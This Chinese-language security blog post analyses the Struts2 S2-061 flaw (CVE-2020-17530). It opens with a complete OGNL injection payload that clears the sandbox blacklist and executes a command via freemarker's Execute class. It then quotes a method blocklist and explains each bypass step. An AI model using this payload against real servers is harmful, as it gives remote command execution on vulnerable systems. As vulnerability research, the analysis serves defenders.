Struts2 S2-061漏洞分析(CVE-2020-17530)

文章首发于安恒信息安全研究院公众号: Struts2 S2-061漏洞分析(CVE-2020-17530)

在这里实名diss某字节安全公众号,抄文章就算了还不写来源,加个poc就是一篇原创文章了?https://mp.weixin.qq.com/s/skV6BsARvie33vV2R6SZKw

poc %25{(#im=#application['org.apache.tomcat.InstanceManager']).(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).(#vs=#request['struts.valueStack']).(#bm.setBean(#vs)).(#context=#bm.get('context')).(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).(#bm.setBean(#access)).(#empty=#im.newInstance('java.util.HashSet')).(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'echo 20ec645132001fb9238441af9313a9d0'}))}

沙盒绕过poc作者是我们团队的nike大佬,S2-059的时候就已经搞出来这个poc了,nike 永远滴神。
然而现在poc已经被传的大家早已不知道谁是作者了,麻烦大家尊重一下原创,写文章的时候标注一个来源都那么难吗?

S2-061和S2-059的OGNL表达执行触发方式一样,详情可见公众号之前的文章:Struts2 S2-059 漏洞分析。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。
diff一下沙盒,可以看到把很多中间件的包添加到了黑名单中。
2.png
已知的OGNL沙盒限制为:

  • 无法new一个对象
  • 无法调用黑名单类和包的方法、属性
  • 无法使用反射
  • 无法调用静态方法

另外,最新的struts2在 ognl.OgnlRuntime#invokeMethod 中ban掉了常用的class,意味着即使绕过了沙盒依然不能直接调用这些类。

public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
        if (_useStricterInvocation) {
            Class methodDeclaringClass = method.getDeclaringClass();
            if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
                throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
            }
        }

再看一下OGNL沙盒未限制的操作为:

  • 对象属性 setter/getter(public) 赋/取值,可以访问静态属性。
  • 已实例类的方法调用( OgnlContext 中的对象),不允许调用静态方法

可以看到目前我们只能在 OgnlContext 中寻找可利用的对象。
3.png
看一下 #application 中的 org.apache.tomcat.InstanceManager ,他的键值为类 org.apache.catalina.core.DefaultInstanceManager 的实例化对象,该类为tomcat中的类,其他中间件还未分析,有兴趣可以自己找找看。
4.png
他有一个 newInstance 方法,className 我们可控,最终可以实例化任意无参构造方法的类并返回。
5.png6.png
也就是说我们现在绕过了无法new一个对象的限制,不过这个对象必须存在 public 的无参构造方法。
ognl3.1.15中, OgnlContext 又删掉了 CONTEXT_CONTEEXT_KEY 也就是 context 这个key,禁止使用 #contextOgnlContext 进行访问。
7.png
而S2-057通过 #attr#request 等map对象中的 struts.valueStack 间接获取到了 OgnlContext ,但是补丁把包 com.opensymphony.xwork2.ognl. 加入到了黑名单中,不能调用 OgnlValueStackgetContext 方法了,因此这种方法也行不通了。
不过我们可以利用前文的实例化任意无参构造方法条件调用一些方法,间接的帮我们获取到 OgnlContext
看一下 org.apache.commons.collections.BeanMap
8.png
跟进 this.initialise(),他会把我传入对象对应class当做bean,提取 getset 方法以及 name 赋值进 readMethodswriteMethods
9.png
看一下其 get 方法,根据我们传入的 name 调用 readMethods 中对应的 getXxx 方法
10.png11.pngcom.opensymphony.xwork2.ognl.OgnlValueStack 中存在 getContext 方法,因此我们可以拿到 OgnlValueStack 后,利用 BeanMap 间接获取到 OgnlContext
12.png
同理我们可以获取到 com.opensymphony.xwork2.ognl.SecurityMemberAccess  对象
13.png
并利用 put 方法调用 setExcludedClassessetExcludedPackageNames  覆盖掉黑名单。14.png
前面提到了最新的 struts2 即使绕过了沙盒依然不能直接调用常用的类来进行利用,但是我们清空了黑名单之后可以实例化任意黑名单中的类。
看下黑明单包中的类 freemarker.template.utility.Execute,存在无参构造方法 Execute()exec 方法可以直接执行命令。
15.png